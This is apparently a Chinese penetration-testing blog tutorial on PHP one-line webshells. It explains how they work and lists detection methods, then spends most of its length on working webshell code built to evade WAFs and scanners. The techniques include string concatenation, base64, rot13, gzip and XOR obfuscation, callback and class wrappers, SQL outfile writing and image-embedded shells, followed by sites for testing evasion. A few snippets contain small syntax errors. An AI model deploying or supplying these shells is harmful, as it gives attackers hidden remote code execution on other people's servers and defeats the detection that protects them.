简介
在渗透测试过程中,攻击者常会上传木马对网站进行进一步地渗透或渗透持久化。这样的木马也被叫做WebShell,在上传这样一个WebShell后,我们可以通过本地地一些WebShell连接工具例如菜刀,蚁剑与冰蝎连接WebShell,进而可以获取信息和控制服务器。而由于例如<?php @eval($_POST['shell']);?>
这样的木马短小精悍隐蔽性强而功能强大,它们也被叫做一句话木马或一句话后门,在入侵过程中有着强大的作用。我的一句话木马仓库
考虑到各种一句话木马的原理都相同,我们就只以php为例进行研究。
一句话木马原理剖析
以这样一句相当经典的一句话木马为例
<?php @eval($_POST['cmd']);?>
这首先是一个php语句,因为它被<?php ?>
所包裹。这个php语句的功能是执行eval函数。需要注意的是,eval函数前有一个@
符号作为前缀,因此它在执行时不会报错。eval函数的效果是将括号内的字符串当作php代码执行,而将被eval函数当作php代码的字符串是全局变量$_POST[‘cmd’],这个变量的值为我们通过POST方法传递的cmd参数的参数值
也就是说,这个一句话木马的功能是将我们通过POST方法传入的cmd参数值当作php代码在无错误信息回显的情况下执行,简单而强大
WebShell查杀
对于WebShell的查杀思路,大致有以下几种:
- 分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
- 语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
- 机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
- 动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。
一句话木马免杀思路与技巧
让我们重新看向之前提到的一句话木马
1
| <?php @eval($_POST['cmd']);?>
|
攻击者期望最终得到的就是这条代码。一句话木马的免杀主要就是对@eval($_POST['cmd'])
这个部分进行各种各样的混淆。只要能在不触发WAF的情况下能够凑出具有这个一个功能的语句攻击者就能达到目的。
tips:
最经典的两个命令执行函数eval和assert两个函数现在被官方视作一个语言构造器而非函数,因此它们不能被可变函数调用,即它们不能通过拼接和混淆执行,只能通过明文写入。因此我们最好考虑一些别的函数
使用其他传参方式
1 2 3 4
| <?php @eval($_COOKIE);?> <?php @eval($_GET);?> <?php @eval($_REQUEST);?> <?php @eval($_SESSION);?>
|
使用其他命令执行函数
system()
system()可以在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)
1
| <?php @system($_POST['cmd']);?>
|
exec()
exec() 函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中
1 2 3 4
| <?php exec( $_POST['cmd'] , $result ); print_r($result); ?>
|
shell_exec()
shell_exec() 可以执行系统命令并返回命令执行结果的字符串
1
| echo shell_exec($_POST['cmd']);
|
passthru()
passthru() 可以执行系统命令并将执行结果输出到页面中
1
| passthru($_POST['cmd']);
|
与 system() 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可
popen()
popen() 函数可以执行系统命令并返回一个资源类型的变量用来存储系统命令的执行结果
故需要配合fread() 函数来读取命令的执行结果
1 2
| $result = popen($_POST['cmd'], 'r'); echo fread($result, 100);
|
反引号``
反引号(``)可以执行系统命令并返回命令的执行结果字符串,可单独使用,也可配合其他命令执行函数使用来绕过参数中的滤条件
使用变量函数混淆
如果WAF把eval($_POST[‘cmd’])放进了BlackList,我们可以采用变量函数避免它们直接出现,例如
1 2 3 4
| <?php $a = "eval"; @$a($_POST['cmd']); ?>
|
我们可以配合可变变量进行更一步的混淆
1 2 3 4 5
| <?php $bb="eval"; $a='bb'; @$$aa($_POST['cmd']); ?>
|
其中 $$aa = $($aa) = $ (‘bb’) = $bb = “eval”
我们甚至可以直接用两个URL参数执行一句话木马
1
| <?php @$_POST['exec']($_POST['cmd']); ?>
|
变量函数配合字符串拼接混淆
如果WAF直接把eval等函数加进了BlackList,为了绕过,我们可以通过字符串拼接的手段拼凑出命令执行函数
直接拼接字符串
1 2 3 4
| <?php $a = 'e'.'v'.'a'.'l'; @$a($_POST['cmd']); ?>
|
Null拼接
1 2 3 4 5
| <?php $str1 = Null; $arg1 = $_GET['cmd']; eval($str1.$arg1); ?>
|
使用ASCII编码拼接
1 2 3 4
| <?php $a = chr(101).chr(118).chr(97).chr(108); @$a($_POST['cmd']); ?>
|
大小写混淆 + 字符串翻转
1 2 3 4 5 6
| <?php $a = 'l'.'A'.'v'.'E'; $b=strtolower($a); $c=strrev($b); @$c($_POST['cmd']); ?>
|
使用pares_str函数拼接
1 2 3 4 5
| <?php $str="a=eval"; parse_str($str); @$a($_POST['cmd']); ?>
|
使用str_replace函数拼接
1 2 3 4
| <?php $a = str_replace("test", "", "evtestal"); @$a($_POST['cmd']); ?>
|
使用substr_replace函数拼接
1 2 3 4
| <?php $a=substr_replace("evxx","al",2); @$a($_POST['cmd']); ?>
|
使用preg_replace函数拼接
1 2 3 4 5 6
| <?php function fun(){ return $_POST['cmd']; } @preg_replace("/test/e", fun(), "test123"); ?>
|
自定义字符串处理函数拼接
加盐
1 2 3 4 5 6 7
| <?php function x() { return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/"; } eval(x()); ?>
|
加解密绕过WAF
ASCII编解码绕过
即字符串拼接
base64编解码绕过
1 2 3 4
| <?php $a=base64_decode("ZXZhbA==") @$a($_POST['cmd']); ?>
|
如果$_POST变量也被加入BlackList了,那我们可以更进一步地混淆
1 2 3 4 5 6
| <?php $a=base64_decode("ZXZhbA==") $payload='ZXZhbCgkX1BPU1RbYV0pOw=='; $decode_payload = @base64_decode($payload); @$a("/*sasas23123*/".$decode_payload."/*sdfw3123*/"); ?>
|
ROT13编解码绕过
1 2 3 4
| <?php $a = str_rot13('flfgrz'); @$a($_POST['cmd']); ?>
|
Gzip编解码绕过
1
| <?php @eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));?>
|
自定义编解码方法绕过
通过异或运算编解码绕过
1 2 3 4
| <?php $a = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); @$a($_POST['cmd']); ?>
|
嵌套运算绕过WAF
写入其它文件绕过WAF
通过sql注入写入WebShell
1
| select '<?php @eval($_POST[cmd]);?>' into outfile '~/mysql-php/1.php'
|
文件io写入WebShell
1 2 3 4 5 6 7
| <?php $a = strtr("abatme","me","em"); $b = strtr($a,"ab","sy"); $c = strtr('echo "<?php evqrw$_yKST['cmd'])?>" > ./shell.php',"qrwxyK","al(_PO");
@$b($c); ?>
|
包装
构建自定义函数包装敏感操作
1 2 3 4 5 6
| <?php function shyshy($a){ assert($a); } @shyshy($_POST['cmd']); ?>
|
构建自定义类包装敏感操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class Shell { var $arg; function setarg($str) { $this->arg = '' . $str . null; } function go() { eval("$this->arg"); } } $run = new Shell; $run->setarg($_GET['cmd']); $run->go(); ?>
|
利用构造函数进行混淆
1 2 3 4 5 6 7
| <?php function go() { return "\x00".$_GET['cmd']."\x00"; } eval(go()); ?>
|
利用析构函数进行混淆
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Shell { public $arg = '';
function __destruct() { eval("$this->arg"); } }
$run = new Shell; $run->arg = $_GET['cmd']; ?>
|
使用回调函数进行混淆
使用create_function函数进行混淆
1 2 3 4
| <?php $fun = create_function('',$_POST['shell']); $fun(); ?>
|
使用call_user_func函数进行混淆
1 2 3
| <?php @call_user_func(assert,$_POST['shell']); ?>
|
使用array_map函数进行混淆
1 2 3 4 5 6 7 8 9
| <?php function fun() { $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); return ''.$f; } $user = fun(); $pass =array($_POST['cmd']); array_map($user,$user = $pass ); ?>
|
图片马
服务器往往会对上传的文件的类型、大小做出限制。我们可以
- 以十六进制或文本格式打开图片并添加一句话木马
- 使用系统命令例如
copy
往图片文件中塞入一句话木马 - 使用PhotoShop等元数据编辑器写入一句话木马
从而得到图片马。此时可以绕过类型检查的WAF。但由于图片马是以image格式解析,故图片马常需要通过配合文件包含等其他漏洞实施攻击
混合攻击
自由组合以上攻击方式
WebShell在线免杀测试平台
VirusTotal
河马WebShell查杀
微步在线云沙箱
百度WEBDIR+
长亭牧云查杀
阿里伏魔引擎
D盾
网站安全狗
Reference
Gzip压缩加密
嵌套运算
https://github.com/LandGrey/webshell-detect-bypass
https://github.com/rebeyond/Behinder
https://github.com/saucer-man/penetration-script/tree/master/%E7%94%9F%E6%88%90%E6%B7%B7%E6%B7%86php%E5%8F%98%E9%87%8F(%E8%BF%87waf)
https://github.com/yzddmr6/webshell-venom(原仓库不知为何remove了,可以查看fork历史找别人fork的原仓库看:P)